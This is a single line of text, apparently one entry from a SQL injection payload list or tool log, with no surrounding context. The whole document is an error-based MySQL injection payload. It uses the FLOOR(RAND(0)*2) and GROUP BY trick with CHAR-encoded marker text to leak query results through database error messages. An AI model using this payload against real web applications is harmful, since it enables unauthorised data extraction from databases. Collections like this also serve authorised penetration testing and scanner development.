(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(105),CHAR(109),CHAR(106),CHAR(122),CHAR(118),CHAR(105),CHAR(102),CHAR(104),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)